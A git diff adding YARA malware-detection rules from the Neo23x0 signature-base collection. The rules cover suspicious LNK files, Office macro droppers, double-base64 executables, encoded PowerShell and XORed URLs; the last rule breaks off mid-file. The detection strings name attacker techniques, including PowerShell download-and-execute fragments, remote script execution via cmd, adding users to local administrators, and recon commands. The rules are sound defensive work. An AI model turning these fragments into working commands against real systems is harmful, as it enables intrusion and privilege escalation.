diff --git a/yara-Neo23x0/gen_susp_lnk.yar b/yara-Neo23x0/gen_susp_lnk.yar
new file mode 100644
index 0000000..adaefa7
--- /dev/null
+++ b/yara-Neo23x0/gen_susp_lnk.yar
@@ -0,0 +1,12 @@
+
+rule SUSP_LNK_Big_Link_File {
+   meta:
+      description = "Detects a suspiciously big LNK file - maybe with embedded content"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-05-15"
+      score = 65
+      id = "e130f213-53fc-56d6-b1d5-0508a7e18e61"
+   condition:
+      uint16(0) == 0x004c and uint32(4) == 0x00021401 and filesize > 200KB
+}
diff --git a/yara-Neo23x0/gen_susp_lnk_files.yar b/yara-Neo23x0/gen_susp_lnk_files.yar
new file mode 100644
index 0000000..a9fd805
--- /dev/null
+++ b/yara-Neo23x0/gen_susp_lnk_files.yar
@@ -0,0 +1,66 @@
+
+rule SUSP_LNK_lnkfileoverRFC {
+   meta:
+      description = "Detects APT lnk files that run double extraction and launch routines with autoruns"
+      author = "@Grotezinfosec, modified by Florian Roth"
+      date = "2018-09-18"
+      id = "19c393af-ff7c-5345-a3ef-c06372344baf"
+   strings:
+      $command = "C:\\Windows\\System32\\cmd.exe" fullword ascii //cmd is precursor to findstr
+      $command2 =  {2F 00 63 00 20 00 66 00 69 00 6E 00 64 00 73 00 74 00 72} //findstr in hex
+      $base64 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD" ascii //some base64 filler, needed to work with routine
+      $cert = " -decode " ascii //base64 decoder
+   condition:
+      uint16(0) == 0x004c and uint32(4) == 0x00021401 and
+      filesize > 15KB and (
+         2 of them
+      )
+}
+
+rule SUSP_LNK_SuspiciousCommands {
+   meta:
+      description = "Detects LNK file with suspicious content"
+      author = "Florian Roth (Nextron Systems)"
+      date = "2018-09-18"
+      score = 60
+      id = "8bfb1322-8e33-50bc-a389-2d8bdfec9ca7"
+   strings:
+      $s1 = " -decode " ascii wide
+      $s2 = " -enc " ascii wide
+      $s3 = " -w hidden " ascii wide
+      $s4 = " -ep bypass " ascii wide
+      $s5 = " -noni " ascii nocase wide
+      /* $s6 = " bypass " ascii wide */
+      $s7 = " -noprofile " ascii wide
+      $s8 = ".DownloadString(" ascii wide
+      $s9 = ".DownloadFile(" ascii wide
+      $s10 = "IEX(" ascii wide
+      $s11 = "iex(" ascii wide
+      $s12 = "WScript.shell" ascii wide fullword nocase
+      $s13 = " -nop " ascii wide
+      $s14 = "&tasklist>"
+      $s15 = "setlocal EnableExtensions DisableDelayedExpansion"
+      $s16 = "echo^ set^"
+      $s17 = "del /f /q "
+      $s18 = " echo | start "
+      $s19 = "&& echo "
+      $s20 = "&&set "
+      $s21 = "%&&@echo off "
+   condition:
+      uint16(0) == 0x004c and 1 of them
+}
+
+rule SUSP_DOC_LNK_in_ZIP {
+   meta:
+      description = "Detects suspicious .doc.lnk file in ZIP archive"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/RedDrip7/status/1145877272945025029"
+      date = "2019-07-02"
+      score = 50
+      hash1 = "7ea4f77cac557044e72a8e280372a2abe072f2ad98b5a4fbed4e2229e780173a"
+      id = "9c140d02-3b18-5faf-bb1d-2eb5c07a23dc"
+   strings:
+      $s1 = ".doc.lnk" fullword ascii
+   condition:
+      uint16(0) == 0x4b50 and 1 of them
+}
diff --git a/yara-Neo23x0/gen_susp_net_msil.yar b/yara-Neo23x0/gen_susp_net_msil.yar
new file mode 100644
index 0000000..e1415b9
--- /dev/null
+++ b/yara-Neo23x0/gen_susp_net_msil.yar
@@ -0,0 +1,31 @@
+
+rule SUSP_NET_Msil_Suspicious_Use_StrReverse {
+   meta:
+      /* 
+         This combination of imports and usage of StrReverse appears often
+         in .NET crypters and malware trying to evade static string analysis
+      */
+      description = "Detects mixed use of Microsoft.CSharp and VisualBasic to use StrReverse"
+      author = "dr4k0nia, modified by Florian Roth"
+      reference = "https://github.com/dr4k0nia/yara-rules"
+      version = "1.1"
+      date = "01/31/2023"
+      modified = "02/22/2023"
+      score = 70
+      hash = "02ce0980427dea835fc9d9eed025dd26672bf2c15f0b10486ff8107ce3950701"
+      id = "830dec40-4412-59c1-8b4d-a237f14acd30"
+   strings:
+      $a1 = ", PublicKeyToken="
+      $a2 = ".NETFramework,Version="
+
+      $csharp = "Microsoft.CSharp"
+      $vbnet = "Microsoft.VisualBasic"
+      $strreverse = "StrReverse"
+   condition:
+      uint16(0) == 0x5a4d
+      and filesize < 50MB
+      and all of ($a*)
+      and $csharp
+      and $vbnet
+      and $strreverse
+}
diff --git a/yara-Neo23x0/gen_susp_obfuscation.yar b/yara-Neo23x0/gen_susp_obfuscation.yar
new file mode 100644
index 0000000..9b5f2bb
--- /dev/null
+++ b/yara-Neo23x0/gen_susp_obfuscation.yar
@@ -0,0 +1,121 @@
+
+rule SUSP_Base64_Encoded_Hex_Encoded_Code {
+   meta:
+      author = "Florian Roth (Nextron Systems)"
+      description = "Detects hex encoded code that has been base64 encoded"
+      date = "2019-04-29"
+      score = 65
+      reference = "https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/"
+      id = "2cfd278f-ff45-5e23-b552-dad688ab303b"
+   strings:
+      $x1 = { 78 34 4e ?? ?? 63 65 44 ?? ?? 58 48 67 }
+      $x2 = { 63 45 44 ?? ?? 58 48 67 ?? ?? ?? 78 34 4e }
+
+      $fp1 = "Microsoft Azure Code Signp$"
+   condition:
+      1 of ($x*) and not 1 of ($fp*)
+}
+
+rule SUSP_Double_Base64_Encoded_Executable {
+   meta:
+      description = "Detects an executable that has been encoded with base64 twice"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/TweeterCyber/status/1189073238803877889"
+      date = "2019-10-29"
+      hash1 = "1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9"
+      id = "6fb40ed3-1afc-5d5b-9373-4a8490177b20"
+   strings:
+      $ = "VFZwVEFRR" ascii wide
+      $ = "RWcFRBUU" ascii wide
+      $ = "UVnBUQVFF" ascii wide
+      $ = "VFZvQUFBQ" ascii wide
+      $ = "RWb0FBQU" ascii wide
+      $ = "UVm9BQUFB" ascii wide
+      $ = "VFZxQUFBR" ascii wide
+      $ = "RWcUFBQU" ascii wide
+      $ = "UVnFBQUFF" ascii wide
+      $ = "VFZwUUFBS" ascii wide
+      $ = "RWcFFBQU" ascii wide
+      $ = "UVnBRQUFJ" ascii wide
+      $ = "VFZxUUFBT" ascii wide
+      $ = "RWcVFBQU" ascii wide
+      $ = "UVnFRQUFN" ascii wide
+   condition:
+      1 of them
+}
+
+rule SUSP_Reversed_Base64_Encoded_EXE : FILE {
+   meta:
+      description = "Detects an base64 encoded executable with reversed characters"
+      author = "Florian Roth (Nextron Systems)"
+      date = "2020-04-06"
+      reference = "Internal Research"
+      score = 80
+      hash1 = "7e6d9a5d3b26fd1af7d58be68f524c4c55285b78304a65ec43073b139c9407a8"
+      id = "3b52e59e-7c0a-560f-8123-1099c52e7e3d"
+   strings:
+      $s1 = "AEAAAAEQATpVT"
+      $s2 = "AAAAAAAAAAoVT"
+      $s3 = "AEAAAAEAAAqVT"
+      $s4 = "AEAAAAIAAQpVT"
+      $s5 = "AEAAAAMAAQqVT"
+
+      $sh1 = "SZk9WbgM1TEBibpBib1JHIlJGI09mbuF2Yg0WYyd2byBHIzlGaU" ascii
+      $sh2 = "LlR2btByUPREIulGIuVncgUmYgQ3bu5WYjBSbhJ3ZvJHcgMXaoR" ascii
+      $sh3 = "uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV" ascii
+   condition:
+      filesize < 10000KB and 1 of them
+}
+
+rule SUSP_Script_Base64_Blocks_Jun20_1 {
+   meta:
+      description = "Detects suspicious file with base64 encoded payload in blocks"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://posts.specterops.io/covenant-v0-5-eee0507b85ba"
+      date = "2020-06-05"
+      score = 70
+      id = "cef759a5-b02a-53e7-bf27-184eee6bc3fa"
+   strings:
+      $sa1 = "<script language=" ascii
+      $sb2 = { 41 41 41 22 2B 0D 0A 22 41 41 41 }
+   condition:
+      all of them
+}
+
+rule SUSP_Reversed_Hacktool_Author : FILE {
+   meta:
+      description = "Detects a suspicious path traversal into a Windows folder"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://hackingiscool.pl/cmdhijack-command-argument-confusion-with-path-traversal-in-cmd-exe/"
+      date = "2020-06-10"
+      score = 65
+      id = "33e20d75-af07-5df2-82c3-c48aec37a947"
+   strings:
+      $x1 = "iwiklitneg" fullword ascii wide
+      $x2 = " eetbus@ " ascii wide
+   condition:
+      filesize < 4000KB and
+      1 of them
+}
+
+rule SUSP_Base64_Encoded_Hacktool_Dev {
+   meta:
+      description = "Detects a suspicious base64 encoded keyword"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/cyb3rops/status/1270626274826911744"
+      date = "2020-06-10"
+      score = 65
+      id = "6dc7db4b-a614-51e4-a9a5-f869154dbbb1"
+   strings:
+      $ = "QGdlbnRpbGtpd2" ascii wide 
+      $ = "BnZW50aWxraXdp" ascii wide 
+      $ = "AZ2VudGlsa2l3a" ascii wide
+      $ = "QGhhcm1qMH" ascii wide
+      $ = "BoYXJtajB5" ascii wide
+      $ = "AaGFybWowe" ascii wide
+      $ = "IEBzdWJ0ZW" ascii wide
+      $ = "BAc3VidGVl" ascii wide
+      $ = "gQHN1YnRlZ" ascii wide
+   condition:
+      filesize < 6000KB and 1 of them
+}
diff --git a/yara-Neo23x0/gen_susp_office_dropper.yar b/yara-Neo23x0/gen_susp_office_dropper.yar
new file mode 100644
index 0000000..4689a28
--- /dev/null
+++ b/yara-Neo23x0/gen_susp_office_dropper.yar
@@ -0,0 +1,139 @@
+rule SUSP_Office_Dropper_Strings {
+   meta:
+      description = "Detects Office droppers that include a notice to enable active content"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-09-13"
+      id = "6560fdf7-46e8-5c16-8263-a36f1dec7868"
+   strings:
+      $a1 = "_VBA_PROJECT" wide
+
+      $s1 = "click enable editing" fullword ascii
+      $s2 = "click enable content" fullword ascii
+      $s3 = "\"Enable Editing\"" fullword ascii
+      $s4 = "\"Enable Content\"" fullword ascii
+   condition:
+      uint16(0) == 0xcfd0 and filesize < 500KB and $a1 and 1 of ($s*)
+}
+
+rule SUSP_EnableContent_String_Gen {
+   meta:
+      description = "Detects suspicious string that asks to enable active content in Office Doc"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2019-02-12"
+      hash1 = "525ba2c8d35f6972ac8fcec8081ae35f6fe8119500be20a4113900fe57d6a0de"
+      id = "d763bc21-2925-55df-85e0-1ee857e921ca"
+   strings:
+      $e1 = "Enable Editing" fullword ascii
+      $e2 = "Enable Content" fullword ascii
+      $e3 = "Enable editing" fullword ascii
+      $e4 = "Enable content" fullword ascii
+   condition:
+      uint16(0) == 0xcfd0 and (
+            $e1 in (0..3000) or
+            $e2 in (0..3000) or
+            $e3 in (0..3000) or
+            $e4 in (0..3000) or
+            2 of them
+      )
+}
+
+rule SUSP_WordDoc_VBA_Macro_Strings {
+   meta:
+      description = "Detects suspicious strings in Word Doc that indcate malicious use of VBA macros"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2019-02-12"
+      score = 60
+      hash1 = "525ba2c8d35f6972ac8fcec8081ae35f6fe8119500be20a4113900fe57d6a0de"
+      id = "210baf6e-ec67-5bc4-ba27-6a6de0c11a73"
+   strings:
+      $a1 = "\\Microsoft Shared\\" ascii
+      $a2 = "\\VBA\\" ascii
+      $a3 = "Microsoft Office Word" fullword ascii
+      $a4 = "PROJECTwm" fullword wide
+
+      $s1 = "AppData" fullword ascii
+      $s2 = "Document_Open" fullword ascii
+      $s3 = "Project1" fullword ascii
+      $s4 = "CreateObject" fullword ascii
+   condition:
+      uint16(0) == 0xcfd0 and filesize < 800KB and all of them
+}
+
+rule SUSP_OfficeDoc_VBA_Base64Decode {
+   meta:
+      description = "Detects suspicious VBA code with Base64 decode functions"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/cpaton/Scripting/blob/master/VBA/Base64.bas"
+      date = "2019-06-21"
+      score = 70
+      hash1 = "52262bb315fa55b7441a04966e176b0e26b7071376797e35c80aa60696b6d6fc"
+      id = "99690116-fc89-53d7-8f29-575d75d53fc9"
+   strings:
+      $s1 = "B64_CHAR_DICT" ascii
+      $s2 = "Base64Decode" ascii
+      $s3 = "Base64Encode" ascii
+   condition:
+      uint16(0) == 0xcfd0 and filesize < 60KB and 2 of them
+}
+
+rule SUSP_VBA_FileSystem_Access {
+   meta:
+      description = "Detects suspicious VBA that writes to disk and is activated on document open"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2019-06-21"
+      score = 60
+      hash1 = "52262bb315fa55b7441a04966e176b0e26b7071376797e35c80aa60696b6d6fc"
+      id = "91241b91-ca3f-5817-bf78-550fe015b467"
+   strings:
+      $s1 = "\\Common Files\\Microsoft Shared\\" wide
+      $s2 = "Scripting.FileSystemObject" ascii
+
+      $a1 = "Document_Open" ascii
+      $a2 = "WScript.Shell" ascii
+      $a3 = "AutoOpen" fullword ascii
+   condition:
+      uint16(0) == 0xcfd0 and filesize < 100KB and all of ($s*) and 1 of ($a*)
+}
+
+rule SUSP_Excel_IQY_RemoteURI_Syntax {
+   meta:
+      description = "Detects files with Excel IQY RemoteURI syntax"
+      author = "Nick Carr"
+      reference = "https://twitter.com/ItsReallyNick/status/1030330473954897920"
+      date = "2018-08-17"
+      modified = "2023-11-25"
+      score = 55
+      id = "ea3427da-9cce-5ad9-9c78-e3cee802ba80"
+   strings:
+      $URL = "http"
+
+      $fp1 = "https://go.microsoft.com"
+   condition:
+      uint32(0) == 0x0d424557 and uint32(4) == 0x0a0d310a
+      and filesize < 1MB
+      and $URL
+      and not 1 of ($fp*)
+}
+
+rule SUSP_Macro_Sheet_Obfuscated_Char {
+   meta:
+      description = "Finding hidden/very-hidden macros with many CHAR functions"
+      author = "DissectMalware"
+      date = "2020-04-07"
+      score = 65
+      hash1 = "0e9ec7a974b87f4c16c842e648dd212f80349eecb4e636087770bc1748206c3b"
+      reference = "https://twitter.com/DissectMalware/status/1247595433305800706"
+      id = "791e9bba-3e4e-5efd-a800-a612c6f92cfb"
+   strings:
+      $ole_marker = {D0 CF 11 E0 A1 B1 1A E1}  
+      $s1 = "Excel" fullword ascii
+      $macro_sheet_h1 = {85 00 ?? ?? ?? ?? ?? ?? 01 01}
+      $macro_sheet_h2 = {85 00 ?? ?? ?? ?? ?? ?? 02 01}    
+      $char_func = {06 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 1E 3D  00 41 6F 00}
+   condition:
+      $ole_marker at 0 and 1 of ($macro_sheet_h*) and #char_func > 10 and $s1
+}
diff --git a/yara-Neo23x0/gen_susp_ps_jab.yar b/yara-Neo23x0/gen_susp_ps_jab.yar
new file mode 100644
index 0000000..0c88c7d
--- /dev/null
+++ b/yara-Neo23x0/gen_susp_ps_jab.yar
@@ -0,0 +1,29 @@
+
+rule SUSP_PS1_JAB_Pattern_Jun22_1 {
+   meta:
+      description = "Detects suspicious UTF16 and Base64 encoded PowerShell code that starts with a $ sign and a single char variable"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2022-06-10"
+      score= 70
+      id = "9ecca7d9-3b63-5615-a223-5efa1c53510e"
+   strings:
+      /* 
+         with spaces : $c = $ 
+         https://gchq.github.io/CyberChef/#recipe=Fork('%5C%5Cn','%5C%5Cn',false)Encode_text('UTF-16LE%20(1200)')To_Base64('A-Za-z0-9%2B/%3D')Encode_text('UTF-16LE%20(1200)'/disabled)To_Hex('Space',0)&input=JHAgPSAkRW52OnRlbQokeCA9ICRteXZhcjsKJHggPSBJbnZva2Ut
+      */
+      /* ASCII */ 
+      $xc1 = { 4a 41 42 ?? 41 43 41 41 50 51 41 67 41 }
+      /* UTF-16 encoded */
+      $xc2 = { 4a 00 41 00 42 00 ?? 00 41 00 43 00 41 00 41 00 50 00 51 00 41 00 67 00 41 }
+      /* 
+         without spaces : $c=$ 
+         https://gchq.github.io/CyberChef/#recipe=Fork('%5C%5Cn','%5C%5Cn',false)Encode_text('UTF-16LE%20(1200)')To_Base64('A-Za-z0-9%2B/%3D')Encode_text('UTF-16LE%20(1200)'/disabled)To_Hex('Space',0)&input=JHA9JEVudjp0ZW0KJHg9JG15dmFyOwokeD1JbnZva2Ut
+      */
+      /* ASCII */ 
+      $xc3 = { 4a 41 42 ?? 41 44 30 41 }
+      /* UTF-16 encoded */
+      $xc4 = { 4a 00 41 00 42 00 ?? 00 41 00 44 00 30 00 41 }
+   condition:
+      filesize < 30MB and 1 of them
+}
diff --git a/yara-Neo23x0/gen_susp_sfx.yar b/yara-Neo23x0/gen_susp_sfx.yar
new file mode 100644
index 0000000..6b19020
--- /dev/null
+++ b/yara-Neo23x0/gen_susp_sfx.yar
@@ -0,0 +1,20 @@
+
+rule SUSP_SFX_RunProgram_WScript {
+   meta:
+      description = "Detects suspicious SFX that runs wscript.exe"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-09-27"
+      score = 75
+      hash1 = "e3bb02c5985fc64759b9c2d3c5474d46237ce472b4a0101c6313dafa939de5a9"
+      hash2 = "0ecf88d4b32895b4819dec3acb62eaaa7035aa6292499d903f76af60fcec0d6a"
+      hash3 = "a7a48f5220bd1ebe04de258d71fdd001711c165d162bd45e8cfbe8964eddf01c"
+      hash4 = "b6fa4889d8a87d45706d92714d716025bf223c01929755321faac1ab0db94a88"
+      hash5 = "7117b39890659c7dd11e15092c5e5ea9495bec0ff2b6e25254f6e343ed6ca33d"
+      hash6 = "ec2afb63555986fa55b7f98ae57c57e1138acb404a0dd2fe4f3d315730b9898e"
+      id = "e12cea50-a939-5f69-963c-d6d1cb133e92"
+   strings:
+      $x1 = "RunProgram=\"wscript.exe" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 10000KB and 1 of them
+}
diff --git a/yara-Neo23x0/gen_susp_strings_in_ole.yar b/yara-Neo23x0/gen_susp_strings_in_ole.yar
new file mode 100644
index 0000000..9df17a2
--- /dev/null
+++ b/yara-Neo23x0/gen_susp_strings_in_ole.yar
@@ -0,0 +1,27 @@
+
+rule MAL_RTF_Embedded_OLE_PE {
+   meta:
+      description = "Detects a suspicious string often used in PE files in a hex encoded object stream"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.nextron-systems.com/2018/01/22/creating-yara-rules-detect-embedded-exe-files-ole-objects/"
+      date = "2018-01-22"
+      modified = "2023-11-25"
+      score = 65
+      id = "20044f08-9574-5baf-b91e-47613e490d62"
+   strings:
+      /* Hex encoded strings */
+      /* This program cannot be run in DOS mode */
+      $a1 = "546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f6465" ascii
+      /* KERNEL32.dll */
+      $a2 = "4b45524e454c33322e646c6c" ascii
+      /* C:\fakepath\ */
+      $a3 = "433a5c66616b65706174685c" ascii
+      /* DOS Magic Header */
+      $m3 = "4d5a40000100000006000000ffff"
+      $m2 = "4d5a50000200000004000f00ffff"
+      $m1 = "4d5a90000300000004000000ffff"
+   condition:
+      uint32be(0) == 0x7B5C7274 /* RTF */
+      and 1 of them
+}
diff --git a/yara-Neo23x0/gen_susp_wer_files.yar b/yara-Neo23x0/gen_susp_wer_files.yar
new file mode 100644
index 0000000..c88c191
--- /dev/null
+++ b/yara-Neo23x0/gen_susp_wer_files.yar
@@ -0,0 +1,54 @@
+
+rule SUSP_WER_Critical_HeapCorruption {
+   meta:
+      description = "Detects a crashed application that crashed due to a heap corruption error (could be a sign of exploitation)"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/cyb3rops/status/1185459425710092288"
+      date = "2019-10-18"
+      score = 45
+      id = "2b1dad5f-cc2c-5d8c-8275-ebb56d079895"
+   strings:
+      $a1 = "ReportIdentifier=" wide
+      $a2 = ".Name=Fault Module Name" wide
+
+      $s1 = "c0000374" wide /* Heap Corruption */
+   condition:
+      ( uint32be(0) == 0x56006500 or uint32be(0) == 0xfffe5600 )
+      and all of them
+}
+
+rule SUSP_WER_Suspicious_Crash_Directory {
+   meta:
+      description = "Detects a crashed application executed in a suspicious directory"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/cyb3rops/status/1185585050059976705"
+      date = "2019-10-18"
+      score = 45
+      id = "bf91e20c-aa35-5b13-86ed-a63e6fb4d1a2"
+   strings:
+      $a1 = "ReportIdentifier=" wide
+      $a2 = ".Name=Fault Module Name" wide
+      $a3 = "AppPath=" wide nocase
+
+      /* Whitelist */
+      $l1 = "AppPath=C:\\Windows\\" wide nocase
+      $l2 = "AppPath=C:\\Program" wide nocase
+      $l3 = "AppPath=C:\\Python" wide nocase
+      $l4 = "AppPath=C:\\Users\\" wide nocase
+
+      /* Blacklist */
+      /* covered via Whitelist
+      $s1 = "AppPath=C:\\$Recycle.Bin\\" wide
+      $s2 = "AppPath=C:\\Perflogs\\" wide
+      $s3 = "AppPath=C:\\Temp\\" wide
+      $s4 = "AppPath=\\\\" wide // network share, or \\tsclient\c etc.
+      $s5 = /AppPath=[C-Z]:\\\\[^\\]{1,64}\.exe/ wide nocase // in the root of a partition - no sub folder
+      */
+      $s6 = "AppPath=C:\\Users\\Public\\" nocase wide
+      $s7 = "AppPath=C:\\Users\\Default\\" nocase wide
+      /* Root of AppData */
+      $s8 = /AppPath=C:\\Users\\[^\\]{1,64}\\AppData\\(Local|Roaming)\\[^\\]{1,64}\.exe/ wide nocase
+   condition:
+      ( uint32be(0) == 0x56006500 or uint32be(0) == 0xfffe5600 )
+      and all of ($a*) and ( not 1 of ($l*) or 1 of ($s*) )
+}
diff --git a/yara-Neo23x0/gen_susp_xor.yar b/yara-Neo23x0/gen_susp_xor.yar
new file mode 100644
index 0000000..f09758e
--- /dev/null
+++ b/yara-Neo23x0/gen_susp_xor.yar
@@ -0,0 +1,44 @@
+/* requires YARA 3.8 or higher */
+import "pe"
+
+rule SUSP_XORed_URL_In_EXE {
+   meta:
+      description = "Detects an XORed URL in an executable"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/stvemillertime/status/1237035794973560834"
+      date = "2020-03-09"
+      modified = "2022-09-16"
+      score = 50
+      id = "f83991c8-f2d9-5583-845a-d105034783ab"
+   strings:
+      $s1 = "http://" xor
+      $s2 = "https://" xor
+      $f1 = "http://" ascii
+      $f2 = "https://" ascii
+
+      $fp01 = "3Com Corporation" ascii  /* old driver */
+      $fp02 = "bootloader.jar" ascii  /* DeepGit */
+      $fp03 = "AVAST Software" ascii wide
+      $fp04 = "smartsvn" wide ascii fullword
+      $fp05 = "Avira Operations GmbH" wide fullword
+      $fp06 = "Perl Dev Kit" wide fullword
+      $fp07 = "Digiread" wide fullword
+      $fp08 = "Avid Editor" wide fullword
+      $fp09 = "Digisign" wide fullword
+      $fp10 = "Microsoft Corporation" wide fullword
+      $fp11 = "Microsoft Code Signing" ascii wide
+      $fp12 = "XtraProxy" wide fullword
+      $fp13 = "A Sophos Company" wide
+      $fp14 = "http://crl3.digicert.com/" ascii
+      $fp15 = "http://crl.sectigo.com/SectigoRSACodeSigningCA.crl" ascii
+      $fp16 = "HitmanPro.Alert" wide fullword
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 2000KB and (
+         ( $s1 and #s1 > #f1 ) or
+         ( $s2 and #s2 > #f2 )
+      )
+      and not 1 of ($fp*)
+      and not pe.number_of_signatures > 0
+}
+
diff --git a/yara-Neo23x0/gen_suspicious_InPage_dropper.yar b/yara-Neo23x0/gen_suspicious_InPage_dropper.yar
new file mode 100644
index 0000000..0d9db4e
--- /dev/null
+++ b/yara-Neo23x0/gen_suspicious_InPage_dropper.yar
@@ -0,0 +1,23 @@
+rule gen_suspicious_InPage_dropper
+{
+
+    meta:
+        hash1 = "013417bd5465d6362cd43c70015c7a74a1b8979785b842b7cfa543cb85985852"
+        hash2 = "1d1e7a6175e6c514aaeca8a43dabefa017ddc5b166ccb636789b6a767181a022"
+        hash3 = "bd293bdf3be0a44a92bdb21e5fa75c124ad1afed3c869697bf90c9732af0e994"
+        hash4 = "d8edf3e69f006f85b9ee4e23704cd5e95e895eb286f9b749021d090448493b6f"
+        url1 = "https://cloudblogs.microsoft.com/microsoftsecure/2018/11/08/attack-uses-malicious-inpage-document-and-outdated-vlc-media-player-to-give-attackers-backdoor-access-to-targets/"
+        url2 = "https://twitter.com/Ahmedfshosha/status/1138138981521154049"
+
+        id = "9144711a-e6ee-5c97-a5f4-3f6df1d630dc"
+    strings:
+        $s1 = "InPage Arabic Document"
+        $c1 = {31 06 83 c6 04 e2 }
+        $c2 = {90 90 90 90 90 90 90 e8 fb }
+
+    condition:
+        filesize < 3MB
+        and uint32be(0) == 0xD0CF11E0
+        and $s1 
+        and 1 of ($c*)
+}
diff --git a/yara-Neo23x0/gen_suspicious_strings.yar b/yara-Neo23x0/gen_suspicious_strings.yar
new file mode 100644
index 0000000..3720b10
--- /dev/null
+++ b/yara-Neo23x0/gen_suspicious_strings.yar
@@ -0,0 +1,448 @@
+
+rule Ping_Command_in_EXE {
+   meta:
+      description = "Detects an suspicious ping command execution in an executable"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2016-11-03"
+      score = 60
+      id = "937ab622-fbcf-5a31-a3ff-af2584484140"
+   strings:
+      $x1 = "cmd /c ping 127.0.0.1 -n " ascii
+   condition:
+      uint16(0) == 0x5a4d and all of them
+}
+
+rule GoogleBot_UserAgent {
+   meta:
+      description = "Detects the GoogleBot UserAgent String in an Executable"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-01-27"
+      score = 65
+      id = "621532ac-fc0b-5118-84b0-eac110693320"
+   strings:
+      $x1 = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" fullword ascii
+
+      $fp1 = "McAfee, Inc." wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 500KB and $x1 and not 1 of ($fp*) )
+}
+
+rule Gen_Net_LocalGroup_Administrators_Add_Command {
+   meta:
+      description = "Detects an executable that contains a command to add a user account to the local administrators group"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-07-08"
+      id = "9f6095fc-6d9f-5814-b407-f320191fd912"
+   strings:
+      $x1 = /net localgroup administrators [a-zA-Z0-9]{1,16} \/add/ nocase ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 400KB and 1 of them )
+}
+
+rule Suspicious_Script_Running_from_HTTP {
+   meta:
+      description = "Detects a suspicious "
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.hybrid-analysis.com/sample/a112274e109c5819d54aa8de89b0e707b243f4929a83e77439e3ff01ed218a35?environmentId=100"
+      score = 50
+      date = "2017-08-20"
+      id = "9ba84e9c-a32b-5f66-8d50-75344599cafc"
+   strings:
+      $s1 = "cmd /C script:http://" ascii nocase
+      $s2 = "cmd /C script:https://" ascii nocase
+      $s3 = "cmd.exe /C script:http://" ascii nocase
+      $s4 = "cmd.exe /C script:https://" ascii nocase
+   condition:
+      1 of them
+}
+
+rule ReconCommands_in_File : FILE {
+   meta:
+      description = "Detects various recon commands in a single file"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/haroonmeer/status/939099379834658817"
+      date = "2017-12-11"
+      score = 40
+      id = "62d59913-5dbd-512c-98ea-044bbb9ac2da"
+   strings:
+      $ = "tasklist"
+      $ = "net time"
+      $ = "systeminfo"
+      $ = "whoami"
+      $ = "nbtstat"
+      $ = "net start"
+      $ = "qprocess"
+      $ = "nslookup"
+   condition:
+      filesize < 5KB and 4 of them
+}
+
+rule VBS_dropper_script_Dec17_1 {
+   meta:
+      description = "Detects a supicious VBS script that drops an executable"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-01-01"
+      score = 80
+      id = "60f23d32-0737-501f-bf1c-1ca32af62efc"
+   strings:
+      $s1 = "TVpTAQEAAAAEAA" // 14 samples in goodware archive
+      $s2 = "TVoAAAAAAAAAAA" // 26 samples in goodware archive
+      $s3 = "TVqAAAEAAAAEAB" // 75 samples in goodware archive
+      $s4 = "TVpQAAIAAAAEAA" // 168 samples in goodware archive
+      $s5 = "TVqQAAMAAAAEAA" // 28,529 samples in goodware archive
+
+      $a1 = "= CreateObject(\"Wscript.Shell\")" fullword ascii
+   condition:
+      filesize < 600KB and $a1 and 1 of ($s*)
+}
+
+rule SUSP_PDB_Strings_Keylogger_Backdoor : HIGHVOL {
+   meta:
+      description = "Detects PDB strings used in backdoors or keyloggers"
